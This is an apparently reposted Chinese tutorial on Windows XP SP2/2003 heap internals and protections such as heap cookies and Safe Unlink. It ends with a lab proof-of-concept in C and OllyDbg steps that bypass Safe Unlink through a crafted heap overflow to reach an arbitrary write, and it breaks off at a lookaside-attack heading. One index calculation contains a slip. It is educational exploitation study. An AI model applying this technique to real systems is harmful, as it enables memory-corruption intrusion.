Windows堆管理机制[3]WindowsXPSP2–Windows2003版本

转载 作者:来者不拒 更新时间:2024-01-31 09:26:39 24 4

3. Windows XP SP2 – Windows 2003

3.1 环境准备

环境 环境准备
虚拟机 32位Windows XP SP2 \32位Windows XP SP3
调试器 OllyDbg、WinDbg
编译器 VC6.0++、VS2008

3.2 堆的结构(Windbg详细分析)

​ 在该阶段,堆块的数据结构基本继承于Windows 2000 – Windows XP SP1阶段的数据结构。但由于增加了一些保护机制,导致了堆块的堆头的基本结构与原始结构有所差别 。

​ 本部分结构与Windows 2000除了块头部分基本一致,只是多了windbg对各部分结构的详细分析,重复部分是为了方便连续阅读.

image-20220905153413278

windows2000和windows2003堆首结构的细微差别 。

3.2.1 堆的0号段

​ 堆管理器在创建堆时会建立一个段(Segment),在一个段用完后,如果这个堆是可增长的(含有HEAP_GROWABLE标志),则堆管理器会再分配一个段。所以每个堆至少拥有一个段,即0号段,最多可以拥有64个段 。

​ 在0号段的开始处存放着堆的头信息,是一个HEAP结构,其中定义了很多个字段用来记录堆的属性。每个段都有一个HEAP_SEGMENT结构来描述自己,对于0号段,这个结构位于HEAP结构之后,对于其他段,这个结构位于段的起始处 。

image-20220901182455956

图3-2-1 左:0号段 右:1号段 。

1. 堆的管理结构

1)通过dt _PEB @$peb 查看PEB内容 。

2)可见堆块个数和堆数组起始地址 。

image-20220901171014083

3)通过dd 0x7c99cfc0 查看堆块数组 。

image-20220901171057630

4)通过dt _HEAP 00090000 查看进程默认堆的结构体
lkd> dt _HEAP 00090000
ntdll!_HEAP
   +0x000 Entry            : _HEAP_ENTRY		//存放管理结构的堆块句柄
   +0x008 Signature        : 0xeeffeeff			//HEAP结构的签名,固定为这个值
   +0x00c Flags            : 2					//堆标志,2代表HEAP_GROWABLE
   +0x010 ForceFlags       : 0					//强制标志
   +0x014 VirtualMemoryThreshold : 0xfe00		//最大堆块大小
   +0x018 SegmentReserve   : 0x100000			//段的保留空间大小
   +0x01c SegmentCommit    : 0x2000				//每次提交内存的大小
   +0x020 DeCommitFreeBlockThreshold : 0x200	//解除提交的单块阈值(粒度为单位)
   +0x024 DeCommitTotalFreeThreshold : 0x2000	//解除提交的总空闲块阈值(粒度数)
   +0x028 TotalFreeSize    : 0x60e				//空闲块总大小,以粒度为单位
   +0x02c MaximumAllocationSize : 0x7ffdefff	//可分配的最大值
   +0x030 ProcessHeapsListIndex : 1				//本堆在进程堆列表中的索引
   +0x032 HeaderValidateLength : 0x608			//头结构的验证长度,实际占用0x640
   +0x034 HeaderValidateCopy : (null) 			
   +0x038 NextAvailableTagIndex : 0				//下一个可用的堆块标记索引
   +0x03a MaximumTagIndex  : 0					//最大的堆块标记索引号
   +0x03c TagEntries       : (null) 			//指向用于标记堆块的标记结构
   +0x040 UCRSegments      : (null) 			//UnCommitedRange Segments
   +0x044 UnusedUnCommittedRanges : 0x00090598 _HEAP_UNCOMMMTTED_RANGE
   +0x048 AlignRound       : 0xf
   +0x04c AlignMask        : 0xfffffff8			//用于地址对齐的掩码
   +0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x90050 - 0x90050 ]
   +0x058 Segments         : [64] 0x00090640 _HEAP_SEGMENT	//段数组
   +0x158 u                : __unnamed			//FreeList的位图bitmap,16个字节对应128位
   +0x168 u2               : __unnamed
   +0x16a AllocatorBackTraceIndex : 0			//用于记录回溯信息
   +0x16c NonDedicatedListLength : 1
   +0x170 LargeBlocksIndex : (null) 
   +0x174 PseudoTagEntries : (null) 
   +0x178 FreeLists        : [128] _LIST_ENTRY [ 0xcb3d0 - 0xcb3d0 ]	//空闲块
   +0x578 LockVariable     : 0x00090608 _HEAP_LOCK	//用于串行化控制的同步对象
   +0x57c CommitRoutine    : (null) 
   +0x580 FrontEndHeap     : 0x00090688 Void	//用于快速释放堆块的“前端堆”
   +0x584 FrontHeapLockCount : 0				//“前端堆”的锁定计数
   +0x586 FrontEndHeapType : 0x1 ''				//“前端堆”的类型
   +0x587 LastSegmentIndex : 0 ''				//最后一个段的索引号
  • VirtualMemoryThreshold:以分配粒度为单位的堆块阈值,即前面提到过的可以在段中分配的堆块最大值。0xfe00×8 字节 = 0x7f000 字节 = 508KB 。

    ​ 这个值小于真正的最大值,为堆块的管理信息区保留了 4KB 的空间。即这个堆中最大的普通堆块的用户数据区是 508KB,对于超过这个数值的分配申请,堆管理器会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地 址记录在 VirtualAllocdBlocks 所指向的链表中.

    注意:如果堆标志中不包含 HEAP_GROWABLE,这样的分配就会失败。如果一个堆是不可增长的,那么可以分配的最大用户数据区便是 512KB,即使堆中空闲空间远远大于这个值.

  • Segments :用来记录堆中包含的所有段,它是一个数组,其中每个元素是一个指向 HEAP_SEGMENT 结构的指针 。

  • LastSegmentIndex:用来标识目前堆中最后一个段的序号, 其值加一便是段的总个数.

  • FreeLists:是一个包含 128 个元素的数组,用来记录堆中空闲堆块链表的表头。当有新的分配请求时,堆管理器会遍历这个链表寻找可以满足请求大小的最接近堆块。如果找到了,便将这个块分配出去;否则,便要考虑为这次请求提交新的内存页和建立新的堆块 。

    当释放一个堆块时,除非这个堆块满足解除提交的条件,要直接释放给内存管理器,大多数情况下对其修改属性并加入空闲链表中 。

2. HEAP_SEGMENT 结构

1)通过dt _HEAP_SEGMENT 0x00090640 查看该结构 。

image-20220901202942010

2)该结构体如下
ntdll!_HEAP_SEGMENT
   +0x000 Entry            : _HEAP_ENTRY			//段中存放本结构的堆块
   +0x008 Signature        : 0xffeeffee				//段结构的签名,固定为这个值
   +0x00c Flags            : 0						//段标志
   +0x010 Heap             : 0x00090000 _HEAP		//段所属的堆
   +0x014 LargestUnCommittedRange : 0x19000			
   +0x018 BaseAddress      : 0x00090000 Void		//段的基地址
   +0x01c NumberOfPages    : 0x100					//段的内存页数
   +0x020 FirstEntry       : 0x00090680 _HEAP_ENTRY	//第一个堆块
   +0x024 LastValidEntry   : 0x00190000 _HEAP_ENTRY	//堆块的边界值
   +0x028 NumberOfUnCommittedPages : 0x50			//尚未提交的内存页数
   +0x02c NumberOfUnCommittedRanges : 0x13			//UnCommittedRanges数组元素数
   +0x030 UnCommittedRanges : 0x02ff0160 _HEAP_UNCOMMMTTED_RANGE
   +0x034 AllocatorBackTraceIndex : 0				//初始化段的UST记录序号
   +0x036 Reserved         : 0
   +0x038 LastEntryInSegment : 0x0010fda0 _HEAP_ENTRY	//最末一个堆块

​ 该结构体信息为堆的第一个段的信息,在这个段的开头存放的是堆的管理结构,其地址范围为 0x00090000~0x00090640 字节,从 0x00090640 开始是 0x40 字节长的_HEAP_SEGMENT,之后便是段中的第一个用户堆块,FirstEntry 字段用来直接指向这个堆块。堆管理器使用 HEAP_ENTRY 结构来描述每个堆块 。

3.2.2 堆块

​ 堆中的内存区被分割为一系列不同大小的堆块。每个堆块的起始处一定是一个 8 字节的 HEAP_ENTRY 结构,后面便是供应用程序使用的区域,通常称为用户区 。

​ HEAP_ENTRY 结构的前两字节是以分配粒度表示的堆块大小。分配粒度通常为 8 字节,这意味着每个堆块的最大值是 2 的 16 次方乘以 8 字节,即 0x10000×8 字节 = 0x80000 字节 = 524288 字节=512KB, 因为每个堆块至少要有 8 字节的管理信息,所以应用程序可以使用的最大堆块便是 0x80000 字节 - 8 字节 = 0x7FFF8 字节 。

1. HEAP_ENTRY 结构

1)通过dt _HEAP_ENTRY 0x00090680 查看该结构 。

image-20220901205839615

2)该结构如下:
ntdll!_HEAP_ENTRY
   +0x000 Size             : 0x301				//堆块的大小,以分配粒度为单位
   +0x002 PreviousSize     : 8					//前一个堆块的大小
   +0x000 SubSegmentCode   : 0x00080301 Void	
   +0x004 SmallTagIndex    : 0xfe ''			//用于检查堆溢出的Cookie 
       											//_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
   +0x005 Flags            : 0x1 ''				//标志
   +0x006 UnusedBytes      : 0x8 ''				//因为补齐而多分配的字节数
   +0x007 SegmentIndex     : 0 ''				//这个堆块所在段的序号

堆块标志如下:

标志 含义
HEAP_ENTRY_BUSY 01 该块处于占用(busy)状态
HEAP_ENTRY_EXTRA_PRESENT 02 这个块存在额外(extra)描述
HEAP_ENTRY_FIILL_PRPATTERN 04 使用固定模式填充堆块
HEAP_ENTRY_VIRTUAL_ALLOC 08 虚拟分配(virtual allocation)
HEAP_ENTRY_LAST_ENTRY 0x10 该段的最后一个块
HEAP_ENTRY_SETTABLE_FLAG1 0x20
HEAP_ENTRY_SETTABLE_FLAG2 0x40
HEAP_ENTRY_SETTABLE_FLAG3 0x80 No coalesce

2.HEAP_FREE_ENTRY结构

​ 空闲态堆块和占用态堆块的块首结构基本一致,只是将块首后数据区的前 8 个字节用于存放空表指针了,这 8 个字节在变回占用态时将重新分回块身用于存放数据 。

1)通过dt ntdll!_HEAP_FREE_ENTRY 查看该结构 。

image-20220902112802317

2)该结构如下:

lkd> dt ntdll!_HEAP_FREE_ENTRY
   +0x000 Size             : Uint2B			//堆块的大小,以分配粒度为单位
   +0x002 PreviousSize     : Uint2B			//上一堆块的大小,以分配粒度为单位
   +0x000 SubSegmentCode   : Ptr32 Void		//子段代码
   +0x004 SmallTagIndex    : UChar			//堆块的标记序号
       										//_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
   +0x005 Flags            : UChar			//堆块标志
   +0x006 UnusedBytes      : UChar			//残留信息
   +0x007 SegmentIndex     : UChar			//所在段序号
   +0x008 FreeList         : _LIST_ENTRY	//空闲链表的节点

占用状态的堆块 。

图7 占用状态的堆块结构

空闲状态的堆块 。

图8 空闲状态的堆块结构

3.2.3 虚拟内存块VirtualAllocdBlocks

​ 当一个应用程序要分配大于 512KB 的堆块时,如果堆标志中包含 HEAP_GROWABLE(2),那 么堆管理器便会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地址记录在 HEAP 结构的 VirtualAllocdBlocks 所指向的链表中 。

​ 每个大虚拟内存块的起始处是一个 HEAP_VIRTUAL_ALLOC_ENTRY 结构(32 字节) 。

typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY {
    LIST_ENTRY Entry;
    HEAP_ENTRY_EXTRA ExtraStuff;
    SIZE_T CommitSize;
    SIZE_T ReserveSize;
    HEAP_ENTRY BusyBlock;
} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;

3.3 堆块的操作

​ 在该阶段,堆的分配被划分为前端堆管理器(Front-End Manager)和后端堆管理器(Back-End Manager) 。

​ 前端堆管理器主要由上文中提到的快表有关的分配机制构成,后端堆管理器则是由空表有关的分配机制构成。除前、后端堆管理器以外的堆块分配、释放、合并等操作基本继承于Windows 2000 – Windows XP SP1阶段的堆块操作 。

3.3.1 前端分配器

​ 处Windows Vista以外,所有版本的Windows默认情况下均采用旁视列表前端分配器 。

1. 旁视列表Lookaside

​ 旁视列表 (Look Aside List, LAL)是一种老的前端分配器,在Windows XP中使用 。

​ 快表是与Linux系统中Fastbin相似的存在,是为加速系统对小块的分配而存在的一个数据结构。快表共有128条单向链表,每一条单链表为一条快表,除第0号、1号快表外,从第2号快表到127号快表分别维护着从16字节(含堆头)开始到1016字节(含堆头)每8字节递增的快表,即(快表号*8字节)大小。由于空闲状态的堆头信息占8字节,因此0号和1号快表始终不会有堆块链入.

​ 快表总是被初始化为空,每条快表最多有4个结点,进入快表的堆块遵从先进后出(FILO)的规律。为提升小堆块的分配速度,在快表中的空闲堆块不会进行合并操作 。

注意:图中堆块字节数已包含块头的8字节 。

图4 空表索引区

​ 在分配新的堆块时,堆管理器会先搜索旁视列表,看是否有合适的堆块。因为从旁视列表中分配堆块是优先于其他分配逻辑的,所以它又叫前端堆(front end heap),前端堆主要用来提高释放和分配堆块的速度 。

HEAP_LOOKASIDE结构 。

typedef struct _HEAP_LOOKASIDE {
    SLIST_HEADER_ ListHead;		//指向堆块节点
    USHORT Depth;
    USHORT MaximumDepth;
    ULONG TotalAllocates;
    ULONG AllocateMisses;
    ULONG TotalFrees;
    ULONG FreeMisses;
    ULONG LastTotalAllocates;
    ULONG LastAllocateMisses;
    ULONG Counters[2];
#ifdef _IA64_
    DWORD Pad[3];
#else
    DWORD Pad;
#endif
} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE;

2. 低碎片堆Low Fragmentation

1)堆碎片

​ 在堆上的内存空间被反复分配和释放一段时间后,堆上的可用空间可能被分割得支离破碎, 当再试图从这个堆上分配空间时,即使可用空间加起来的总额大于请求的空间,但是因为没有一块连续的空间可以满足要求,所以分配请求仍会失败,这种现象称为堆碎片(heap fragmentation).

​ 堆碎片与磁盘碎片的形成机理一样,但比磁盘碎片的影响更大。多个磁盘碎片加起来仍可以满足磁盘分配请求,但是堆碎片是无法通过累加来满足内存分配要求的,因为堆函数返回的必须是地址连续的一段空间.

2)低碎片堆

​ 针对堆碎片问题,Windows XP 和 Windows Server 2003 引入了低碎片堆(Low Fragmentation Heap,LFH).

​ LFH 将堆上的可用空间划分成 128 个桶位 (bucket),编号为 1~128,每个桶位的空间大小依次递增,1 号桶为 8 字节,128 号桶为 16384 字节(即 16KB)。当需要从 LFH 上分配空间时,堆管理器会根据堆函数参数中所请求的字节将满足要求的最小可用桶分配出去.

举例:

​ 如果应用程序请求分配 7 字节,而且 1 号桶空闲,那么将 1 号桶分配给它,如果 1 号桶已经分配出去了(busy),那么便尝试分配 2 号桶.

​ LFH 为不同编号区域的桶规定了不同的分配粒度,桶的容量越大,分配桶时的粒度也越大,比如 1~ 32 号桶的粒度是 8 字节,这意味着这些桶的最小分配单位是 8 字节,对于不足 8 字节的分配请求, 也至少会分配给 8 字节.

桶位(bucket) 分配粒度(granularity) 适用范围(range)
1~32 8 1~256
33~48 16 257~512
49~64 32 513~1024
65~80 64 1025~2048
91~96 128 2049~4096
97~112 256 4097~8192
113~128 512 8193~16384

​ 通过 HeapSetInformation API 可以对一个已经创建好的 NT 堆启用低碎片堆支持。调用 HeapQueryInformation API 可以查询一个堆是否启用了 LFH 支持 。

​ 例如,下面的代码对当前进程的进程堆启用 LFH 功能:

ULONG HeapFragValue = 2; 
BOOL bSuccess = HeapSetInformation(GetProcessHeap(),  HeapCompatibilityInformation, &HeapFragValue, sizeof(HeapFragValue)); 

3.3.2 后端管理器

1. FreeList

​ 如果前端分配器无法满足分配请求,那么这个请求将被转发到后端分配器.

​ 后端分配器包含了一张空闲列表,即前面提到的FreeList。如果分配请求被转发到后端分配器,那么堆管理器将首先再空闲列表中查找.

​ 空闲堆块的块首中包含一对重要的指针,这对指针用于将空闲堆块组织成双向链表。按照堆块的大小不同,空表总共被分为 128 条。 堆区一开始的堆表区中有一个 128 项的指针数组,被称做空表索引(Freelist array)。该数组的每一项包括两个指针,用于标识一条空表 。

​ 把空闲堆块按照大小的不同链入不同的空表,可以方便堆管理系统高效检索指定大小的空闲堆块.

堆管理器将分配请求映射到空闲列表位图索引的算法:

​ 将请求的字节数+8,再除以8得到索引 。

举例:

​ 对于分配8字节的请求,堆管理器计算出的空闲列表位图索引为2,即(8+8)/2 。

注意:

  • 空表索引的第一项(free[0])所标识的空表相对比较特殊。这条双向链表链入了所有大于等于 1024 字节的堆块(小于 512KB)。这些堆块按照各自的大小在零号空表中升序地依次排列下去。
  • FreeList[1]没有被使用,因为堆块的最小值为16(8字节块头+8字节用户数据)

image-20220829161922363

图3-3-2(1) 空闲双向链表FreeList结构 。

2. 空表位图

​ 空表位图大小为128bit,每一bit都对应着相应一条空表。若该对应的空表中没有链入任何空闲堆块,则对应的空表位图中的bit就为0,反之为1。在从对应大小空表分配内存失败后,系统将尝试从空表位图中查找满足分配大小且存在空闲堆块的最近的空表,从而加速了对空表的遍历 。

3. 堆缓存

​ 所有等于或大于1024的空闲块,都被存放在FreeList[0]中。 这是一个从小到大排序的双向链表。因此,如果FreeList[0]中有越来越多的块, 当每次搜索这个列表的时候,堆管理器将需要遍历多外节点。 堆缓存可以减少对FreeList[0]多次访问的开销。它通过在FreeList[0]的块中创建一个额外的索引来实现.

注意:

​ 堆管理器并没有真正移动任何空的块到堆缓存。这些空的块依旧保存在FreeList[0],但堆缓存保存着FreeList[0]内的一 些节点的指针,把它们当作快捷方式来加快遍历.

堆缓存结构:

​ 这个堆缓存是一个简单的数组,数组中的每个元素大小都是int ptr_t字节,并且包含指向NULL指针或指向FreeList[0]中的块的指针。这个数组包含896个元素,指向的块在1024到8192之间。这是一个可配置的大小,我们将称它为最大缓存索引(maximum cache index) .

​ 每个元素包含一个单独的指向FreeList[0]中第一个块的指针,它的大小由这个元素决定。如果FreeList[0]中没有大小与它匹配的元素,这个指针将指向NULL.

​ 堆缓存中最后一个元素是唯一的:它不是指向特殊大小为8192的块,而是代表所有大于或等于最大缓存索引的块。所以,它会指向FreeList[0]中第一个大小大于 最大缓存索引的块.

堆缓存位图:

​ 堆缓存数组大部分的元素是空的,所以有一个额外的位图用来加快搜索。这个位图的工作原理跟加速空闲列表的位图是一样的.

image-20220909172750538

图3-3-2(2) 堆缓存与FreeList[0] 。

3.4 堆保护机制

​ Heap Cookie从Windows XP SP2版本开始使用,为上文提到的改变了Windows堆块结构的保护机制,该机制将堆头信息中原1字节的段索引(Segment Index)的位置新替换成了security cookie用来校验是否发生了堆溢出,相应的原1字节的标签索引(Tag Index)的位置替换为段索引位置,取消掉了标签索引.

​ 该机制是在堆块分配时在堆头中随机生成1字节的cookie用于保护其之后的标志位(Flags)、未使用大小(Unused bytes)、段索引及前项堆块指针(Flink)、后项堆块指针(Blink)等敏感数据不被堆溢出所篡改.

在分配块时设置Heap Cookie的函数:

//RtlAllocateHeap函数源码中分配一个块后就会设置该块的Heap Cookie
VOID
FORCEINLINE
RtlpSetSmallTagIndex(
    IN PHEAP Heap,
    IN PVOID HeapEntry,
    IN UCHAR SmallTagIndex
     )
{
    ((PHEAP_ENTRY)HeapEntry)->SmallTagIndex = SmallTagIndex ^ 
                ((UCHAR)((ULONG_PTR)HeapEntry >> HEAP_GRANULARITY_SHIFT) ^ Heap->Entry.SmallTagIndex);
}

​ 在堆块被释放时检查堆头中的cookie是否被篡改,若被篡改则调用RtlpHeapReportCorruption()结束进程.

RtlpHeapReportCorruption函数:

​ 该函数在HeapEnableTerminateOnCorrupton字段被设置后才会起到结束进程的效果,而在该阶段的Windows版本中该字段默认不启用,因此该函数并没有起到结束进程的作用.

​ 对于 2003 和 XP,如果设置了FLG_ENABLE_SYSTEM_CRIT_BREAKS,堆管理器将调用DbgBreakPoint () ,并在安全断开链接检查失败时引发异常。这是一个不 常见的设置,因为它的安全属性没有明确的文档记录 。

在释放堆块时检验Heap Cookie的函数:

LOGICAL
FORCEINLINE
RtlpQuickValidateBlock(
    IN PHEAP Heap,
    IN PVOID HeapEntry )
{
    UCHAR SegmentIndex = ((PHEAP_ENTRY)HeapEntry)->SegmentIndex;
    if (  SegmentIndex < HEAP_LFH_INDEX ) {
#if DBG
        if ( (SegmentIndex > HEAP_MAXIMUM_SEGMENTS) 
                ||
             (Heap->Segments[SegmentIndex] == NULL)
                ||
             (HeapEntry < (PVOID)Heap->Segments[SegmentIndex])
                ||
             (HeapEntry >= (PVOID)Heap->Segments[SegmentIndex]->LastValidEntry)) {
            RtlpHeapReportCorruption(HeapEntry);
            return FALSE;
        }
#endif  // DBG

        if (!IS_HEAP_TAGGING_ENABLED()) {
            if (RtlpGetSmallTagIndex(Heap, HeapEntry) != 0) {
                RtlpHeapReportCorruption(HeapEntry);
                return FALSE;
            }
        }
    }
    return TRUE;
}

UCHAR
FORCEINLINE
RtlpGetSmallTagIndex(
    IN PHEAP Heap,
    IN PVOID HeapEntry )
{
    return ((PHEAP_ENTRY)HeapEntry)->SmallTagIndex ^ 
                ((UCHAR)((ULONG_PTR)HeapEntry >> HEAP_GRANULARITY_SHIFT) ^ Heap->Entry.SmallTagIndex);
}

VOID
RtlpHeapReportCorruption ( 
    IN PVOID Address )
{
    DbgPrint("Heap corruption detected at %p\n", Address );
	//强制系统中断调试器
    if (RtlGetNtGlobalFlags() & FLG_ENABLE_SYSTEM_CRIT_BREAKS) {
        //如果安装了内核调试器,此例程将引发由内核调试器处理的异常;否则,调试系统将处理它。 如果调试器未连接到系统,则可以以标准方式处理异常
        DbgBreakPoint();
    }
}

​ Safe Unlink保护机制在前一阶段版本中的Unlink算法前加上了安全检查机制。该机制在堆块从堆表中进行拆卸的操作时,对堆头前项指针和后项指针的合法性进行了检查,解决了之前版本中可通过篡改堆头的前项指针和后项指针轻易执行恶意代码的安全隐患.

在 SP2 之前的链表拆卸操作类似于如下代码:

int remove (ListNode * node) 
{ 
 	node -> blink -> flink = node -> flink; 
 	node -> flink -> blink = node -> blink; 
 	return 0; 
}

SP2 在进行删除操作时,将提前验证堆块前向指针和后向指针的完整性,以防止发生 DWORD SHOOT,Safe Unlink算法伪代码如下所示:

int safe_remove (ListNode * node) 
{ 
 	if( (node->blink->flink==node)&&(node->flink->blink==node) ) 
 	{ 
 		node -> blink -> flink = node -> flink; 
 		node -> flink -> blink = node -> blink; 
 		return 1; 
 	} 
 	else 
 	{ 
 		链表指针被破坏,进入异常
 		return 0; 
 	} 
} 

//如下是windows2003 RtlAllocateHeap中卸下结点时源码内容,可见保护机制代码基本一致
#define RtlpFastRemoveDedicatedFreeBlock( H, FB ) \
{                                                 \
    PLIST_ENTRY _EX_Blink;                        \
    PLIST_ENTRY _EX_Flink;                        \
                                                  \
    _EX_Flink = (FB)->FreeList.Flink;             \
    _EX_Blink = (FB)->FreeList.Blink;             \
                                                  \
    if ( (_EX_Blink->Flink == _EX_Flink->Blink)&& \
         (_EX_Blink->Flink == &(FB)->FreeList) ){ \
        _EX_Blink->Flink = _EX_Flink;             \
        _EX_Flink->Blink = _EX_Blink;             \
                                                  \
    } else {                                      \
        RtlpHeapReportCorruption(&(FB)->FreeList);\
    }                                             \
                                                  \
    if (_EX_Flink == _EX_Blink) {                 \
        CLEAR_FREELIST_BIT( H, FB );              \
    }                                             \
}

3.4.3 PEB Random

​ 微软在 Windows XP SP2 之后不再使用固定的 PEB 基址 0x7ffdf000,而是使用具有一定随机性的 PEB 基址. 。

​ PEB 随机化之后主要影响了对 PEB 中函数的攻击.在 DWORD SHOOT 的时候,PEB 中的函数指针是绝佳的目标,移动 PEB 基址将在一定程度上给这类攻击增加难度 。

3.5 突破堆保护机制

3.5.1 攻击堆中存储的变量

​ 堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容是不保护的。如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,通过覆盖这些重要的内容还是可以实现溢出的 。

1. 漏洞成因

​ 虽然在加入了Safe Unlink条件后,极大的限制了DWORD SHOOT攻击的使用场景,但随着研究人员对Safe Unlink检测机制的研究,仍然构造出了一种十分苛刻的场景达到去绕过Safe Unlink检测机制,触发漏洞最终导致任意地址写.

2. 利用方式

​ Safe Unlink保护机制中,在unlink一个堆块时,会检查该堆块后项堆块的Flink字段和该堆块前项堆块的Blink字段是否都指向该堆块,根据堆块指针和前项后项指针的偏移为0和4字节,可以将判断条件简化为如下伪代码:

//node->Blink->Flink = *(node->Blink)
//node->Flink->Blink = *(node->Flink + 4)
if((*(node->Blink) == node) && (*(node->Flink + 4) == node))

注意:本方法限制较多,以下例子只是简单地复现了一下实现步骤:

实验环境
环境 环境设置
操作系统 Windows XP SP3
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <windows.h>
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1B\x00\x1A\x00\x2C\x00\x0E\x00"
"\x4C\x02\x3A\x00\x54\x02\x3A\x00";

char shellcode2[]=
"\xAA\xAA\xAA\xAA\x90\x90\x90\x90\x90\x90"
"\x90\x90";


int main()
{
	HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0, h5 = 0, h6 = 0, h7 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,209);
	__asm int 3 
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h5);
	memcpy(h4,shellcode1,216); 
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
	memcpy(h7,shellcode2,12);
	
	return 0;
}
实验过程
  1. 当需要unlink的堆块为该空表上的唯一一个堆块,此时会存在一个特殊情况:

    堆块的Flink字段等于Blink字段等于空表头结点,空表头结点的Flink字段也等于Blink字段等于堆块地址 。

    图11 Bypass Safe Unlink(1)

  2. 运行实验代码,出现断点异常时使用OllyDbg附加到程序中进行单步调试,此时已申请完6个堆块,单步执行程序一直到三次释放结束,此时观察堆块情况:

    注意:查找堆块方法和调试堆请见2.4,和前面的方法基本一致。本实验申请的前四个块为200字节(堆块大小为208字节,堆块索引 = 208/8 = 26),所以释放的h1和h3被链入FreeList[26],同理释放的h5被链入FreeList[27] 。

    • 可见空表头结点的Flink字段等于Blink字段等于堆块地址:FreeList[x]->Flink = FreeList[x]->Blink = &(node->Flink) = 0x003A09C8

    image-20220907154953792

    此时FreeList[27]中只链入该堆块一个结点,符合条件,即FreeList[27]为图中的FreeList[x],查看0x003A09C8地址处的h5堆块情况:

    image-20220907155439288

    • 可见堆块的Flink字段等于Blink字段等于空表头结点的地址:node->Flink = node->Blink = &(FreeList[x]) = &(FreeList[x]->Flink) = 0x003A0250 。

    • 该结点情况同时也符合验证条件:*(node->Blink) = *(node->Flink + 4) = 0x003A09C8 。

  3. 通过堆溢出漏洞将该堆块的Flink字段修改为Freelist[x-1].Blink的地址,将Blink字段修改为Freelist[x].Blink的地址,此时仍可以通过Unlink之前的安全检测,如图所示:

    图12 Bypass Safe Unlink(2)

    原理解释:

    ​ 将该堆块的Flink和Blink字段修改后如下:

    node->Flink = &(Freelist[x-1].Blink) = 0x003A024C
    node->Blink = &(Freelist[x].Blink) = 0x003A0254
    

    ​ 发现修改后两者相等,也符合检验条件 。

    *(node->Flink + 4) = 0x003A09C8
    *(node->Blink) =  0x003A09C8
    
  4. 在OllyDbg中继续单步执行,运行完memcpy(h4,shellcode1,216); 这一行代码后停住。因为h4堆块只申请了200字节的内存,而此行代码拷贝216个字节,造成堆溢出,将shellcode1 201-216字节的内容写入下一个堆块,修改了下一个堆块的前16个字节.

    注意:shellcode中201字节-216字节需自己调试,不同环境可能不一样.

    查看堆块情况,发现此时已修改成功:

    image-20220907160847674

  5. 在OllyDbg中继续运行,调用HeapAlloc再次申请h5堆块相同的大小,此时已成功绕过Safe Unlink,绕过安全检测后执行Unlink操作的结果如图所示:

    图13 Bypass Safe Unlink(3)

    执行完Unlink操作后,FreeList[x].Blink和FreeList[x].Flink被修改 。

    FreeList[x].Blink = &(FreeList[x-1].Blink),即0x003A0254地址处的0x003A09C8被改为0x003A024C
    FreeList[x].Flink = &(FreeList[x].Blink),即0x003A0250地址处的0x003A09C8被改为0x003A0254
    

    image-20220907161458286

  6. 在OllyDbg中继续执行,再次调用HeapAlloc申请和h5同样大小的堆块,此时按照算法会将Freelist[x].Blink指向的堆块分配给用户使用,而在之前构造好的条件下会将Freelist[x-1].Blink及下方的空间当成堆块分配给用户,并且该堆块的用户区指针为Freelist[x].Blink.

    image-20220907162003176

  7. 此时我们第一次对指针进行写时,会从Freelist[x-1].Blink往下写,很容易将Freelist[x].Blink覆盖为任意地址,第二次写时即可往任意地址写任意数据 。

    在OllyDbg中继续执行,可将FreeList[26].Blink,FreeList[27].Flink,FreeList[27].Blink覆盖为任意地址 。

    image-20220907162511584

    此处未利用该堆溢出漏洞进行破坏,只是演示了原理,所以随便写入了一些东西,感兴趣的同学可以继续研究 。

    image-20220907162740193

1. 漏洞成因

​ 该漏洞的产生是由于快表在分配堆块时,未检测其Flink字段指向地址的合法性,会造成在按照快表分配算法执行时,会将非法地址作为堆头分配给用户,最终导致任意地址写任意长度数据的漏洞 。

1)快表中正常拆卸一个节点的过程

image-20220907185507427

2)漏洞原理

